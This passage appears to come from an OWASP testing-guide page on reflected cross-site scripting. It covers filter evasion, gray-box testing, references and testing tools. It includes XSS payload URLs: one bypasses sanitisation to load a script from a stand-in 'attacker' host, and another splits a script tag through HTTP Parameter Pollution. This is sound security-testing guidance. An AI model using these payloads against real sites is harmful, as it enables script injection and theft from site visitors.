which is a common attack. But, in this case, it is possible to bypass the sanitization by using the ">" character in an attribute between script and src, like this:
<pre>
http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>
</pre>
This will exploit the reflected cross site scripting vulnerability shown before, executing the javascript code stored on the attacker's web server as if it was
originating from the victim web site, http://example/.

''' Example 7: HTTP Parameter Pollution (HPP) '''
<br>
Another method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP
Poland conference. See the [[Testing for HTTP Parameter pollution (OWASP-DV-004)|Testing for HTTP Parameter pollution]] for more information.
This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each
parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible.
If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern-
based security mechanisms.
<br>
Regular attack:
<pre>
http://example/page.php?param=<script>[...]</script>
</pre>
Attack using HPP:
<pre>
http://example/page.php?param=<script&param=>[...]</&param=script>
</pre>

''' Result expected '''
<br>
See the [[XSS Filter Evasion Cheat Sheet]] for a more detailed list of filter evasion techniques.
Finally, analyzing answers can get complex. A simple way to do this is to use code that pops up a dialog, as in our example. This typically indicates that an attacker could execute arbitrary JavaScript of his choice in the visitors' browsers.

== Gray Box testing and example ==
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and how the user input is rendered back to the user might be known by the pen-tester.
If source code is available (White Box), all variables received from users should be analyzed. Moreover the tester should analyze any sanitization procedures implemented to decide if these can be circumvented.

== References ==
'''OWASP Resources'''<br>
*[[XSS Filter Evasion Cheat Sheet]]
'''Books'''<br>
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
'''Whitepapers'''<br>
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&action=view&type=publication&name=alert%28A_javascritp_agent%29 Read] ( To be published )
* '''S. Frei, T. Dübendorfer, G. Ollmann, M. May''' - Understanding the Web browser threat: [http://www.techzoom.net/publications/insecurity-iceberg/index.en Read]
'''Tools''' <br>
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]'''
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners. It's hosted as a reference at http://yehg.net/lab/pr0js/pentest/CAL9000/ .
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding [mirror: http://yehg.net/e ]
This tool helps you encode arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.
* '''HackVertor''' - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php
It provides multiple dozens of flexible encoding for advanced string manipulation attacks.
* '''[[OWASP WebScarab Project|WebScarab]]'''
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols.
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
* '''ratproxy''' - http://code.google.com/p/ratproxy/
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.
* '''Burp Proxy''' - http://portswigger.net/proxy/
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.
* '''OWASP Zed Attack Proxy (ZAP)''' - [[OWASP_Zed_Attack_Proxy_Project]]
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.